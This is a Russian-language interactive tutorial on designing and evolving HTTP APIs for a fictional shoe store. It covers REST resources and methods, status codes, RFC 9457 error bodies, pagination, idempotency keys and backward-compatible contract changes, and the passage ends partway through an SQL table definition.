Когда брать GraphQL. Много разных клиентов (веб, iOS, Android), экраны собирают данные из нескольких сервисов, важен объём трафика. Обычно GraphQL ставят как отдельный слой между клиентами и сервисами (BFF — backend for frontend, «бэкенд для конкретного фронтенда»). Когда не брать: один клиент и десяток простых ручек, межсервисные вызовы, файлы и потоки.

глава 10 · под капотом девять способов: провод и код

Для тех, кто хочет до конца. Тот же магазин «Ботинок» и одна задача, показанная девятью способами. У каждого: житейская аналогия, схема разговора (жмите «Дальше» или тыкайте прямо в стрелки), что летит по проводу, настоящий код с обеих сторон и честный список, чем за это платят.

глава 11 · сравнение и выбор что брать и чем платить

Четыре самых частых способа рядом. Переключайте и сравнивайте по одинаковым вопросам.

Большая таблица: все способы сразу

Таблица широкая — на телефоне её можно прокрутить вбок.

СпособФорматТранспортКто начинаетГде хорошГде плохИз жизниВыбирай, когда…
RESTJSON, текстHTTP/1.1 или 2, запрос → ответклиентпубличные API, простые CRUD, кешированиеэкран из многих ресурсов, частые вызовызвонокнужен ответ сейчас и понятный всем API
GraphQLJSON, запрос-формаHTTP, обычно один POSTклиентразные клиенты, экраны из нескольких сервисовкеш по HTTP, дорогие запросы, права на полязаказ à la carteклиентов много и им нужны разные поля
gRPCProtobuf, байтыHTTP/2, вызовы и потокиклиент (потоки — обе стороны)частые вызовы между своими сервисамибраузер напрямую, отладка глазамизвонок по служебной линиивнутри периметра важны скорость и строгий контракт
ВебхукJSON + подписьHTTP-запрос в обратную сторонувнешний сервисинтеграция с партнёрами, долгие процессынужен открытый адрес, повторы, подписи«мы вам перезвоним»результат у партнёра появляется непредсказуемо поздно
Опрос / long pollingJSONHTTP, повторные запросыклиент, по таймерупростота, работает вездепустые запросы, задержка, висящие соединения«мы приехали?»пользователей немного, задержка в секунды приемлема
SSEтекст: event/dataHTTP, один долгий ответклиент подписывается, дальше пишет серверстатусы, прогресс, лента, вывод нейросетитолько сервер → клиентрадиообновления идут в одну сторону
WebSocketлюбые кадры (JSON, байты)TCP после HTTP Upgradeобе стороны в любой моментчаты, совместная работа, игрыпривязка к серверу, переподключения, масштабрацияобе стороны пишут часто и быстро
Очередьсообщение-командаброкер (RabbitMQ, SQS)отправитель, получатель забирает самфоновые задачи, сглаживание пиковрезультат сразу неизвестен, дублизаписка, талончикответ не нужен сейчас, исполнитель один
Событиефакт в прошедшем времениброкер-журнал (Kafka)издатель, подписчики читают самимного потребителей, список растётпроцесс не виден целиком, порядок только по ключуобъявление в чатео факте должны узнать многие, в том числе будущие

Помощник выбора: ответьте на четыре вопроса

Опишите задачу — помощник подскажет способ и объяснит, почему. Попробуйте разные сочетания.

Справочник протоколов

Строки раскрываются по клику — там подробности, когда что брать.

Задание: выберите способ связи

Решено 0 из 0.

глава 12 · контракты о чём договорились и как это менять

Когда Заказы звонят Складу, оба заранее договорились: куда звонить, какие поля отправить, что придёт в ответ. Эта договорённость называется контракт. Для REST её записывают в OpenAPI — файл с описанием запросов и ответов, для gRPC — в файл .proto, для событий — в схему события.

Главное правило распределённых систем: вы не решаете, когда соседи обновят свой код. У мобильного приложения старые версии живут месяцами на телефонах, которые никто не обновляет. Значит, любое изменение контракта должно быть обратно совместимым: старый потребитель продолжает работать. Несовместимое изменение разбивают на несколько совместимых шагов.

Попробуйте. Сервис заказов отдаёт заказ с полем name — имя покупателя. Решили переименовать его в fullName. Этот ответ читают три потребителя.

ответ GET /orders/ord-77
потребители

Что попробовать

Совместимые изменения

  • Добавить необязательное поле в ответ.
  • Добавить необязательное поле в запрос со значением по умолчанию.
  • Добавить новую ручку (адрес API) или новый тип события.
  • Ослабить проверку: принимать больше, чем раньше.

Ломающие изменения

  • Удалить или переименовать поле.
  • Сменить тип или формат: строка → число, дата с часовым поясом → без.
  • Сделать необязательное поле обязательным.
  • Изменить смысл значения при том же имени — худший случай: сразу ничего не сломается, всё сломается тихо.

Цикл «расширь — мигрируй — сузь» (expand / contract)

1
Расширь. Добавляем новое поле рядом со старым. Сервис пишет в оба, читает старое. Ничего не ломается.Пример: было name, добавили fullName.
2
Мигрируй. Потребители по одному переходят на новое поле в своём темпе. Старое ещё живо.Нужен способ узнать, кто ещё читает старое поле: метрика обращений или журнал по потребителям.
3
Сузь. Когда старое поле никто не читает, его удаляют.Этот шаг откладывают навсегда. Ставьте дату удаления сразу на первом шаге, иначе через три года у вас сорок полей и половина не используется.
Про версии в адресе. /v2/orders — не спасение, а отсрочка. Две версии — это две ветки кода, два набора тестов и двойная поддержка. Удалить v1 всё равно нельзя, пока на ней кто-то сидит. Версия в адресе оправдана для крупной переделки раз в несколько лет. Повседневные изменения делают совместимыми шагами.
Как ловить поломку до выкатки. Контрактные тесты: потребитель описывает, какие поля ему действительно нужны, а сборка поставщика падает, если изменение их ломает (consumer-driven contracts, инструмент Pact). Несовместимость обнаруживается у автора изменения, а не в проде у соседа через две недели.

глава 13 · идемпотентность повтор не должен удваивать

Сеть ненадёжна. Запрос может дойти, а ответ — потеряться. Клиент не знает, что случилось, и повторяет. Анна может дважды нажать кнопку. Брокер может доставить сообщение второй раз. Во всех этих случаях сервер получает одну и ту же просьбу дважды.

Определение. Операция идемпотентна, если её повтор даёт тот же результат, что и первый раз. «Поставь лампочку в положение “выкл”» — идемпотентно: сколько ни нажимай, лампочка выключена. «Переключи лампочку» — нет: каждое нажатие меняет результат. «Спиши 4 200 ₽» — тоже нет: два запроса спишут 8 400 ₽.

Стандартное решение — ключ идемпотентности. Клиент придумывает уникальный номер для каждого намерения («оплатить заказ ord-77») и присылает его в заголовке. Сервер запоминает ключ и ответ. Если ключ пришёл снова, сервер не делает работу повторно, а отдаёт сохранённый ответ.

таблица payments
таблица idempotency_keys

Что попробовать

Как это выглядит в запросе

POST /payments
Idempotency-Key: 3f1c8a2e-4b7d-4f11-9c2a-77e0d1b6a904
Content-Type: application/json

{"orderId": "ord-77", "amount": 4200, "currency": "RUB"}

// Сервер:
// 1) кладёт ключ в таблицу с уникальным индексом;
// 2) если вставка не прошла — операция уже выполнялась:
//    возвращает СОХРАНЁННЫЙ ответ первой попытки, а не новый;
// 3) ключ живёт ограниченное время (обычно 24 часа).

Идемпотентны сами по себе

GET, PUT с полным состоянием, DELETE. Повтор не меняет результат.

Требуют ключа

POST на создание, любое «добавь», «спиши», «начисли». Повтор создаёт дубль.

Частая ошибка

Отвечать на повтор ошибкой «уже существует». Клиент не отличит «мой повтор» от «чужого конфликта». Правильно — вернуть тот же ответ.

В обработчиках сообщений работает тот же приём: у каждого сообщения есть messageId или eventId. Обработчик записывает обработанные номера и пропускает уже виденные. Так «хотя бы один раз» от брокера превращается в «ровно один раз» по результату.

глава 14 · задание контракты и связь

Коротко, что мы прошли. Звоним, когда без ответа нельзя продолжать. Пишем в очередь, когда ответ не нужен сейчас и адресат известен. Публикуем событие, когда о факте должны узнать многие. Контракт меняем совместимыми шагами. Любую операцию на изменение делаем безопасной для повтора. Теперь проверьте себя.

Решено 0 из 0.

Дальше → как спроектировать API, которым удобно пользоваться и который не сломает клиентов

API — это обещание, которое нельзя тихо забрать назад. Код внутри сервиса разработчик Борис переписывает хоть каждый день. Но как только ответ GET /orders/{id} начал читать чужой код — на телефоне Анны, на сервере партнёра, — поменять его в одиночку уже нельзя. Весь раздел — одна история. К API заказов магазина «Ботинок» подключаются мобильное приложение и маркетплейс-партнёр «Стеллаж». Аналитик Олег проектирует договор, Борис его реализует. Мы пройдём по всем местам, где такие договоры обычно ломаются, и в каждом разберём, как сделать правильно.

зачем это проектирование API в одной картинке

карта раздела одна история, пятнадцать глав

Главы идут по ходу работы аналитика: от «что такое договор» до готовой постановки на метод. Про сами способы связи (REST, gRPC, GraphQL, очереди) рассказано в разделе . Здесь — о том, как спроектировать контракт, чтобы он жил годами.

глава 1 · завязка договор с незнакомцами

Сентябрь. У «Ботинка» есть сервис заказов. До сих пор его вызывал только сайт. Сайт и сервис делает одна команда, и выкатываются они вместе: поменяли поле — в тот же вечер поправили сайт. Теперь к сервису подключаются ещё двое. Мобильное приложение «Ботинок» для телефонов. И маркетплейс «Стеллаж»: он будет продавать кроссовки «Ботинка» у себя и создавать заказы через наш API.

API (application programming interface, программный интерфейс) — набор операций, которые одна программа открывает другой. Куда обратиться, что передать, что получить в ответ.
розетка в стене. Производитель чайника не знает, как проложена проводка в вашей квартире. Ему достаточно знать форму вилки, 220 вольт и 50 герц. Форма розетки — это API. Проводку за ней можно менять как угодно, а форму отверстий — нельзя: чайники перестанут включаться.
Контракт API — точное письменное описание интерфейса: адреса, методы, поля с типами и обязательностью, коды ответов, формат ошибок, ограничения. Потребитель (consumer) — любой код, который вызывает API. Поставщик (provider) — сервис, который API реализует.
договор аренды. Пока его не подписали, можно менять что угодно. Подписали — жилец въехал и расставил мебель под ваши комнаты. Теперь перенести стену «потому что так красивее» нельзя: у жильца шкаф упрётся в новую стену. Можно только предложить новый вариант и дать время на переезд.

Почему опубликованный API менять труднее, чем код

Код внутри сервиса Борис меняет одним коммитом и откатывает за минуты. А контракт живёт в чужом коде. Посмотрите, когда каждый потребитель сможет подстроиться под изменение:

🌐 Сайт

Та же команда, тот же день выкладки. Поменяли API — поправили сайт вместе с ним.

подстроится: в тот же день

📱 Мобильное приложение

Новую версию люди ставят, когда захотят. Старые версии живут на телефонах месяцами, часть не обновится никогда. Заставить обновиться можно, но это раздражает покупателей.

подстроится: через месяцы, и не у всех

🤝 Партнёр «Стеллаж»

Чужая компания со своим планом работ. Выпускает версии раз в квартал. О наших изменениях узнает, только если мы ему напишем.

подстроится: через квартал, если договоримся

Отсюда главное правило раздела: вы не решаете, когда потребители обновят свой код. Значит, каждое изменение контракта должно либо не ломать старых потребителей, либо выходить новой версией с долгим сроком жизни старой. Подробно — в главе 10.

Закон Хайрама. Инженер Google Хайрам Райт заметил: когда у API много пользователей, любое наблюдаемое поведение кто-то начинает использовать — даже то, чего вы не обещали. Порядок заказов в списке, текст ошибки, время ответа. Поэтому в контракте полезно прямо писать не только что гарантировано, но и что не гарантировано: «порядок элементов items не определён».

Что сначала: код или контракт?

Сначала код (code-first)

Борис пишет сервис, описание API генерируется из кода. Быстро, когда потребитель один и в той же команде. Минус: контракт получается «каким вышел», а потребители ждут готового кода, чтобы узнать, что им пришлют.

Сначала контракт (contract-first, design-first)

Олег пишет файл контракта (OpenAPI, глава 11) и согласует его с потребителями до кода. Потом все работают параллельно: мобильщики — на мок-сервере, Борис — над сервером, «Стеллаж» — над интеграцией.

API как продукт (API-first)

Это про отношение, а не про порядок работ. У API есть свои пользователи, документация, журнал изменений, сроки поддержки. Его проектируют как продукт, а не как побочный эффект сервиса.

На практике слова API-first и contract-first часто используют как синонимы. Суть одна: договор появляется раньше реализации и проверяется автоматически. Вот как у Олега идёт работа над API заказов:

«Изменения API заказов публикуются только через ревью файла контракта (OpenAPI). Ломающие изменения — только в новой основной версии. Старая версия поддерживается не менее 6 месяцев после объявления о выводе.»

Типичные ошибки. 1) «API — это то, что сейчас возвращает сервер»: контракта нет, есть код, и любое исправление в коде тихо меняет договор. 2) «Отдадим сущность из базы как есть»: наружу утекают внутренние поля, и каждое изменение таблицы ломает клиентов. Наружу отдают отдельную модель ответа, а не строку таблицы.

глава 2 · ресурсы ресурсы и адреса: о чём говорит API

Олег начинает с простого вопроса: о каких вещах будут разговаривать программы? Заказ, покупатель, товар, корзина, платёж. В REST такие вещи называются ресурсами.

REST (Representational State Transfer) — стиль построения API поверх HTTP, описанный Роем Филдингом в 2000 году. Главная идея: API состоит из ресурсов с адресами, а действия над ними выражаются стандартными методами HTTP.
Ресурс — вещь, о которой говорит API: заказ, товар, корзина. У ресурса есть адрес и представление — то, как он выглядит в ответе (обычно JSON). URI (Uniform Resource Identifier) — адрес ресурса.
библиотечный каталог. У каждой книги есть шифр места на полке. Вы не пишете в формуляре «принеси-мне-книгу-про-кроссовки». Вы называете шифр, а действие — «выдать», «вернуть», «продлить» — выбираете отдельно. Шифр — это URI, действие — метод.
Коллекция — ресурс-список: /orders — все заказы. Элемент — один ресурс из коллекции: /orders/ord-1042 — один заказ.

Семь правил хорошего адреса

ПравилоХорошоПлохоПочему
Существительные, а не глаголыPOST /ordersPOST /createOrderДействие уже выражено методом. Глагол в адресе — это второй способ сказать то же самое, и через год у вас будут /createOrder, /addOrder и /newOrder.
Коллекции во множественном числе/orders/ord-1042/order/ord-1042Одинаковая форма для списка и элемента. Меньше споров, проще угадывать адреса.
Вложенность — только для принадлежности/orders/ord-1042/items/customers/cus-77/orders/ord-1042/items/3Позиции существуют только внутри заказа — вложение честное. Но глубже двух уровней адрес становится хрупким: чтобы прочитать позицию, клиенту зачем-то нужно знать покупателя.
Фильтры — в параметрах запроса/orders?status=paid/orders/paidВ пути — «кто», в параметрах — «какие». Иначе /orders/paid нельзя отличить от заказа с номером paid.
Один стиль написания/delivery-slots, поля deliveryDate/deliverySlots и delivery_date вперемешкуВ путях обычно строчные буквы через дефис. В JSON — один стиль на весь API (camelCase или snake_case), записанный в руководстве.
Непрозрачные идентификаторыord-1042, UUIDномер строки из базы: 1, 2, 3…Сквозные номера легко перебирать, а конкурент по ним видит, сколько у вас заказов в день. Клиент не должен ничего вычислять из идентификатора.
Действие вне CRUD — как ресурс-процессPOST /orders/ord-1042/cancellationGET /orders/ord-1042/cancel«Отменить» — не создать, не прочитать, не удалить. Его оформляют как создание ресурса «отмена». Другой признанный вариант — «особый метод» с двоеточием: POST /orders/ord-1042:cancel (так делает Google). Главное — одно правило на всё API.
CRUD — четыре базовых действия с данными: создать (Create), прочитать (Read), изменить (Update), удалить (Delete). Большинство операций API ложатся на них. Остальные — «отменить», «оплатить», «отправить повторно» — оформляют как ресурс-процесс.

Тренажёр: хороший адрес или плохой?

Решено 0 из 0.

«Ресурс: Заказ (Order). Коллекция: /v1/orders. Элемент: /v1/orders/{orderId}, где orderId — строка вида ord-<число>. Идентификатор выдаёт сервер при создании. Клиент не формирует и не разбирает его.»

глава 3 · методы что обещает каждый глагол HTTP

Адрес говорит «о чём», метод — «что сделать». Смысл методов закреплён в стандарте RFC 9110 «HTTP Semantics» (2022). Это важно: на этот смысл полагаются не только ваши клиенты, но и прокси, кеши, шлюзы и браузеры. Если метод врёт о себе, они сделают неправильные выводы.

Безопасный метод (safe) — по замыслу не меняет ничего на сервере. Клиент может вызывать его сколько угодно: это просто чтение.
посмотреть на витрину. Сколько ни смотрите, ничего не купили и ничего не сломали.
Идемпотентный метод — повтор того же запроса оставляет сервер в том же состоянии, что и один запрос. Второй, третий, десятый раз ничего не добавляют.
кнопка вызова лифта. Нажали пять раз — лифт приедет один раз. А кнопка «купить билет» в кассе — не идемпотентна: пять нажатий — пять билетов.
МетодЧто делаетТело запросаБезопасныйИдемпотентныйОбычный успех
GETпрочитать ресурс или коллекциюнетдада200, 304
HEADкак GET, но только заголовкинетдада200
OPTIONSчто можно делать с ресурсом; предварительный запрос CORSнетдада204, 200
POSTсоздать элемент в коллекции или запустить процессданетнет201 + Location, 202, 200
PUTзаменить ресурс целиком (или создать по известному адресу)да, полное состояниенетда200, 204, 201
PATCHизменить часть полейда, только изменениянетне обязан200, 204
DELETEудалить ресурсобычно нетнетда204, 200, 202
Проще говоря. Идемпотентность — про эффект, а не про одинаковый ответ. Первый DELETE /carts/c-5/items/SOCK-01 вернёт 204, второй — может быть, 404. Но носки из корзины удалены ровно один раз. А вот POST /payments дважды — это два платежа. Поэтому POST требует особой защиты от повторов (глава 7).

PUT или PATCH?

PUT — «вот полное новое состояние»

PUT /v1/orders/ord-1042/delivery-address
Content-Type: application/json

{"city": "Москва", "street": "Лесная", "house": "5",
 "flat": "12", "comment": "домофон не работает"}

Всё, чего нет в теле, будет стёрто. Повтор безопасен: второй раз запишется то же самое. Опасность — в устаревшей копии: если кто-то успел поменять ресурс, PUT затрёт его правки (глава 8).

PATCH — «вот что поменять»

PATCH /v1/orders/ord-1042
Content-Type: application/merge-patch+json

{"deliveryDate": "2026-10-04", "comment": null}

Формат JSON Merge Patch (RFC 7396): перечисленные поля заменяются, null означает «удалить поле», остальное не трогается. Есть и JSON Patch (RFC 6902) — список операций: [{"op":"replace","path":"/deliveryDate","value":"2026-10-04"}]. Сам метод PATCH описан в RFC 5789.

GET никогда ничего не меняет. Представьте ссылку GET /orders/ord-1042/cancel в письме Анне. Почтовый сервис проверит ссылку на вирусы, мессенджер построит превью, браузер подгрузит заранее — и каждый из них отменит заказ. Они вправе ходить по GET-ссылкам без спроса: метод обещал, что это безопасно.

Модель зрелости Ричардсона: четыре ступени к REST

Леонард Ричардсон предложил оценивать HTTP API по четырём уровням, а Мартин Фаулер в 2010 году сделал эту схему известной. Посмотрите, как одна и та же операция — «создать заказ и узнать, что с ним можно делать» — выглядит на каждом уровне.

Где жить на практике. Большинство хороших API живут на уровне 2 — и это нормально. Уровень 3 (HATEOAS, Hypermedia As The Engine Of Application State — «гипермедиа как двигатель состояния») встречается редко: клиенты всё равно пишутся под конкретные поля. Но одна его идея очень полезна аналитику: отдавать в ответе список действий, доступных в текущем статусе. Тогда кнопку «Отменить» приложение показывает, только если сервер прислал ссылку на отмену, и правила статусной модели живут в одном месте.

«Отмена заказа: POST /v1/orders/{orderId}/cancellation. Метод не идемпотентен по HTTP. Повтор допускается: если заказ уже отменён, сервер возвращает тот же результат, что и в первый раз (см. „Идемпотентность“).»

глава 4 · ответы коды ответов и заголовки: язык, который понимают все

Код ответа (status code) — трёхзначное число в первой строке ответа HTTP. Первая цифра — класс: 2xx — успех, 3xx — перенаправление, 4xx — ошибка клиента (исправь запрос; повторять его как есть бессмысленно), 5xx — ошибка сервера (можно повторить позже). Есть ещё 1xx — служебные, в проектировании API почти не встречаются.
окошко в МФЦ. «Готово, вот паспорт» — 2xx. «Это в соседнем окне» — 3xx. «Вы неправильно заполнили заявление» — 4xx: приходить с тем же бланком снова бесполезно. «У нас сломался принтер, зайдите через час» — 5xx: приходите с тем же бланком, всё получится.

Коды читают не только люди. Шлюз решает по ним, повторять ли запрос. Кеш — можно ли сохранить ответ. Мониторинг считает долю 5xx и будит дежурного. Поэтому ответ 200 OK с телом {"error": "заказ не найден"} — это ложь всем сразу: шлюз закеширует ошибку, мониторинг покажет «всё отлично», а клиент должен разбирать тело, чтобы понять, успех ли это.

Табло кодов: нажимайте

Здесь 18 кодов, которые встречаются в проектировании API чаще всего. У каждого — смысл, пример из «Ботинка», что летит по проводу и типичная ошибка. Изучено: 0 из 18.

Заголовки, без которых не обойтись

ЗаголовокГдеЧто значитПример
LocationответГде лежит созданный ресурс (с 201), где следить за операцией (с 202), куда перейти (с 3xx).Location: /v1/orders/ord-1043
ETagответМетка версии представления. Нужна для кеша (If-None-Match → 304) и для защиты от затирания чужих правок (If-Match → 412). Глава 8.ETag: "v8"
Cache-ControlответКому и сколько можно хранить ответ. max-age — сколько секунд ответ свежий; private — только в браузере пользователя; no-store — не сохранять нигде.Cache-Control: private, max-age=60
Retry-AfterответЧерез сколько секунд (или после какой даты) повторить. С 503 и 429 обязателен по смыслу, иначе клиенты будут долбить в цикле. Многие API ставят его и к 202 — как подсказку, когда спрашивать статус.Retry-After: 30
Content-Type / AcceptобаФормат тела: что прислали и что клиент готов принять.Content-Type: application/problem+json
Idempotency-KeyзапросКлюч намерения для безопасных повторов. Глава 7.Idempotency-Key: "5f0c…"
If-Match / If-None-MatchзапросУсловные запросы: «выполни, только если версия такая-то» / «отдай, только если изменилось».If-Match: "v7"
Deprecation / Sunsetответ«Этот ресурс устарел» и «после этой даты перестанет работать». Глава 10.Sunset: Wed, 31 Mar 2027 23:59:59 GMT
400 или 422 на ошибку проверки? В RFC 9110 код 400 означает «запрос не разобрать как ошибку клиента» (битый JSON, строка вместо числа), а 422 Unprocessable Content — «запрос понятен, но данные нарушают правила» (количество −1). Многие API отдают 400 на всё — это тоже допустимо. Важно одно: одно правило на весь API, записанное в руководстве по стилю.

глава 5 · ошибки ошибки по стандарту: Problem Details

Первая неделя интеграции. Вика, разработчица «Стеллажа», пишет Олегу: «У вас три метода — и три формата ошибок». Метод создания заказа отвечает {"error": "bad request"}. Метод оплаты — {"code": 17, "message": "..."}. А когда сервис лежит, шлюз отдаёт HTML-страницу с надписью «502 Bad Gateway». Вика пишет три разных разбора ошибок, и ни один не помогает понять, что исправить.

Problem Details (подробности проблемы) — стандартный формат тела ответа об ошибке для HTTP API, описанный в RFC 9457 (июль 2023; заменил прежний RFC 7807). Тип содержимого — application/problem+json.
бланк заявления единой формы. Что бы ни случилось — потеря паспорта или смена фамилии, — у бланка одни и те же поля: «вид обращения», «суть», «номер». Сотрудник не гадает, где что написано, а сразу читает нужное поле.

Разберите ответ по строкам

Анна отправила заказ с двумя ошибками: количество «0» и дата доставки в прошлом. Вот что ответил сервер. Нажимайте на строки — под кодом появится пояснение.

Пять стандартных полей и расширения

ПолеЧто этоПравило
typeURI — идентификатор вида проблемыПо нему клиент решает, что делать. Хорошо, если это ссылка на страницу документации. Если поля нет, оно считается равным about:blank — «проблема = просто код статуса».
titleкороткое название вида проблемыОдинаковое для всех случаев этого type. Не пишите сюда подробности конкретного случая.
statusкод HTTPКопия кода из строки ответа — для удобства, например, когда тело сохранили в журнал. Главным остаётся настоящий код ответа.
detailобъяснение этого случаяДолжно помогать исправить запрос: что именно не так и как быть. Не стек вызовов, не SQL.
instanceURI этого конкретного случаяНомер, по которому поддержка найдёт запрос в журналах. Может быть ссылкой, а может быть просто уникальным именем.
расширениялюбые свои поляНапример, errors со списком ошибок полей или traceId. Стандарт требует от клиентов игнорировать незнакомые расширения — значит, добавлять их можно без поломок.

Бизнес-ошибка в том же формате

Анна пытается отменить заказ, который уже у курьера. Это не ошибка ввода, а конфликт с текущим состоянием — код 409:

HTTP/1.1 409 Conflict
Content-Type: application/problem+json

{
  "type": "https://api.botinok.example/problems/order-already-shipped",
  "title": "Заказ уже передан в доставку",
  "status": 409,
  "detail": "Заказ ord-1042 передан курьеру 30.09 в 14:05. Отменить его нельзя — оформите возврат после получения.",
  "instance": "/v1/orders/ord-1042/cancellation"
}

Правила хорошей ошибки

Честный код

Никаких 200 с ошибкой внутри и никаких 500 на ошибку клиента. Код — первое, что видят шлюзы, мониторинг и логика повторов.

Без внутренностей

Стек вызовов, текст SQL, имена серверов помогают только взломщику. А ещё они становятся частью контракта: кто-то начнёт разбирать текст исключения (закон Хайрама).

Все ошибки полей сразу

Если в заказе пять ошибок, верните все пять в списке errors. Иначе Анна будет исправлять форму пять раз подряд. У каждой ошибки — указатель на поле (pointer в формате JSON Pointer).

Один формат везде

Шлюз, балансировщик и прокси тоже должны отвечать в application/problem+json, а не своей HTML-страницей. Это настройка, её надо заказать явно.

Код ошибки для программ. Часто хочется добавить поле code: "ORDER_ALREADY_SHIPPED". По стандарту эту роль играет type. Дублировать можно, но закрепите, какое поле главное. И помните: список type — часть контракта. Новый вид ошибки совместим, только если клиенты умеют обработать незнакомый type по классу кода (4xx / 5xx).

«Все ошибки возвращаются в формате RFC 9457 (application/problem+json). Ошибки проверки полей — код 422, type = …/validation-error, список errors[] с полями pointer и detail; возвращаются все ошибки запроса сразу.»

Каталог ошибок метода — таблица: код HTTP · type · когда возникает · что делает клиент.

глава 6 · списки длинные списки: пагинация, фильтры, сортировка

В приложении есть экран «Мои заказы». А «Стеллаж» каждую ночь выгружает все заказы за сутки — десятки тысяч. Отдать всё одним ответом нельзя. 40 000 заказов по 2 КБ — это 80 МБ JSON. Телефон Анны будет качать это минуту, а сервер — держать в памяти.

Пагинация (pagination) — выдача длинного списка порциями, «страницами». Клиент просит следующую порцию, когда ему нужно.
лента в соцсети. Вы не загружаете все посты мира сразу — лента подгружает следующий десяток, когда вы долистали до конца.

Два способа листать

Смещение (offset / limit)

GET /v1/orders?offset=40&limit=20

SELECT … FROM orders
ORDER BY created_at DESC
LIMIT 20 OFFSET 40;

«Пропусти 40, дай 20». Просто. Можно прыгнуть сразу на седьмую страницу и показать «страница 3 из 12».

Беды: если во время листания в начало списка добавился заказ, всё сдвигается — будет дубль. Если заказ удалили — будет пропуск. А на глубоких страницах база честно перебирает и выбрасывает все пропущенные строки.

Курсор (cursor / keyset)

GET /v1/orders?limit=20&cursor=eyJjcmVhdGVkQXQi…

SELECT … FROM orders
WHERE (created_at, id) < ('2026-09-30 19:31', 'ord-1037')
ORDER BY created_at DESC, id DESC
LIMIT 20;

«Дай 20 после вот этого». Курсор хранит значения сортировки последнего показанного заказа. База по индексу сразу прыгает в нужное место.

Плата: нельзя прыгнуть на седьмую страницу, общее число страниц неизвестно, сортировать можно только по полям с индексом.

Курсор — непрозрачная строка-закладка, которую сервер выдаёт вместе со страницей. Клиент её не разбирает и не собирает сам, а просто возвращает в следующем запросе. Внутри обычно закодированы значения полей сортировки (так называемый keyset — «набор ключей»).
закладка в книге против «откройте на 40-й странице». Если в начало книги вклеили две страницы, «40-я страница» теперь другая. А закладка лежит там же, где вы остановились.

Живая модель: листаем, пока приходят новые заказы

Слева — таблица заказов в базе, новые сверху. Справа — то, что уже показано клиенту. Страница — 5 заказов. Загрузите пару страниц, потом нажмите «Пришёл новый заказ» или «Удалить показанный заказ» и загрузите следующую страницу. Потом переключитесь на курсор и повторите.

🗄 База · orders, новые сверху
📱 Что увидел клиент
Как читать схему. Синим подсвечена страница, загруженная последней. Зелёные — заказы, пришедшие во время листания (их клиент увидит, только если обновит список с начала — это нормально). Красным в базе — заказы, которые клиент пропустил: они были в списке с самого начала, но на экран так и не попали. Красным у клиента — дубли.

Глубокие страницы: сколько строк перебирает база

У «Стеллажа» 400 000 заказов, страница — 20 штук. Двигайте номер страницы.

1

Фильтры, сортировка, выбор полей, поиск

ЧтоКак выглядитО чём договориться в контракте
Фильтры?status=paid&createdFrom=2026-09-01T00:00:00%2B03:00Список фильтруемых полей. Как передавать несколько значений: ?status=paid,shipped или ?status=paid&status=shipped — выберите одно. Даты — в формате RFC 3339 с часовым поясом.
Сортировка?sort=-createdAt,totalМинус — по убыванию. Разрешайте только поля, по которым есть индекс, и перечислите их. Сортировка по умолчанию — явно. Последним ключом — уникальное поле (id), иначе при равных датах заказы теряются на стыке страниц.
Выбор полей (sparse fieldsets)?fields=id,status,totalЭкрану списка в приложении не нужен весь заказ с адресом и позициями. Меньше данных — быстрее на мобильной сети. В стандарте JSON:API это fields[orders]=status,total.
Поиск?q=ботинокПо каким полям ищет, учитывает ли опечатки. Если условие огромное и не лезет в адрес — POST /v1/orders/search с телом. Для таких случаев в IETF готовится безопасный метод QUERY с телом (пока черновик), а OpenAPI 3.2 уже умеет его описывать.
Размер страницы?limit=20Значение по умолчанию (20) и максимум (100). Что будет при limit=10000: ошибка 400 или молча 100 — запишите.
Общее число"totalCount": 40213Дорого: база считает все строки по фильтру. Давайте только если без него никак, или приблизительно.

Как выглядит ответ со страницей. Ссылку на следующую страницу можно отдать и в теле, и в заголовке Link (RFC 8288):

HTTP/1.1 200 OK
Link: <https://api.botinok.example/v1/orders?limit=20&cursor=eyJjcmVhdGVkQXQi…>; rel="next"

{
  "items": [ { "id": "ord-1041", "status": "paid", "total": 4990 }, … ],
  "nextCursor": "eyJjcmVhdGVkQXQiOiIyMDI2LTA5LTMwVDE5OjMxOjAwKzAzOjAwIiwiaWQiOiJvcmQtMTAzNyJ9",
  "hasMore": true
}

«Список заказов возвращается порциями по limit (по умолчанию 20, максимум 100; больше — ошибка 400) в порядке убывания даты создания, при равных датах — по убыванию id. Для следующей порции клиент передаёт nextCursor из предыдущего ответа без изменений. Заказы, созданные во время листания, в текущую выдачу не попадают. Дубли и пропуски исключены.»

глава 7 · идемпотентность двойное «Оплатить»

19:40, метро. Анна жмёт «Оплатить 7 980 ₽». Приложение десять секунд крутит колёсико и пишет «Ошибка сети». Анна жмёт ещё раз — и всё проходит. Через минуту приходят две SMS о списании.

Что случилось на самом деле? Первый запрос дошёл, деньги списались, а ответ потерялся в тоннеле. Приложение не может отличить «запрос не дошёл» от «ответ не дошёл»: в обоих случаях оно просто ничего не получило. Основы идемпотентности уже разобраны в разделе . Здесь — как это спроектировать до конца: что хранит сервер, что отвечать в каждом случае и что записать в контракт.

Ключ идемпотентности (заголовок Idempotency-Key) — уникальная строка, которую клиент придумывает на одно намерение («оплатить заказ ord-1042») и повторяет в каждом повторе. По ключу сервер узнаёт повтор и отдаёт сохранённый ответ вместо повторного выполнения.
вы звоните в пиццерию и называете номер заказа, который придумали сами: «заказ 5521, маргарита». Связь оборвалась, вы перезваниваете: «заказ 5521, маргарита». Оператор видит, что 5521 уже готовят, и не заводит вторую пиццу.
Статус стандарта на 2026 год. Заголовок описан в черновике IETF draft-ietf-httpapi-idempotency-key-header (последняя редакция — 07, октябрь 2025). Стандартом RFC он пока не стал, но именно так устроены API крупных платёжных сервисов. Черновик рекомендует: значение — строка (обычно UUID); ключ без тела другого запроса не переиспользуется; срок хранения ключей сервер публикует в документации.

Живая модель: оплата с потерянным ответом

Выберите защиту, потом сценарий. Модель проиграет его по шагам: следите за летящими запросами, таблицей платежей и таблицей ключей на сервере.

Ключ идемпотентности:
Кнопка:
Что вы увидите. Без ключа и «двойное нажатие», и «потерянный ответ» дают два списания. Блокировка кнопки спасает только от двойного нажатия: после таймаута кнопка разблокируется, и повтор всё равно уйдёт. С ключом повтор получает сохранённый ответ — списание одно. А попытка переиспользовать ключ для другой суммы получает 422: это ошибка в приложении, и её лучше поймать сразу, чем найти в деньгах.

Как сервер обрабатывает ключ — по шагам

CREATE TABLE idempotency_keys (
  client_id    text        NOT NULL,  -- кто прислал: у разных клиентов ключи не пересекаются
  key          text        NOT NULL,  -- значение Idempotency-Key
  fingerprint  char(64)    NOT NULL,  -- SHA-256 от метода, пути и тела запроса
  state        text        NOT NULL,  -- in_progress | completed
  status_code  int,                   -- сохранённый код ответа
  response     jsonb,                 -- сохранённое тело ответа
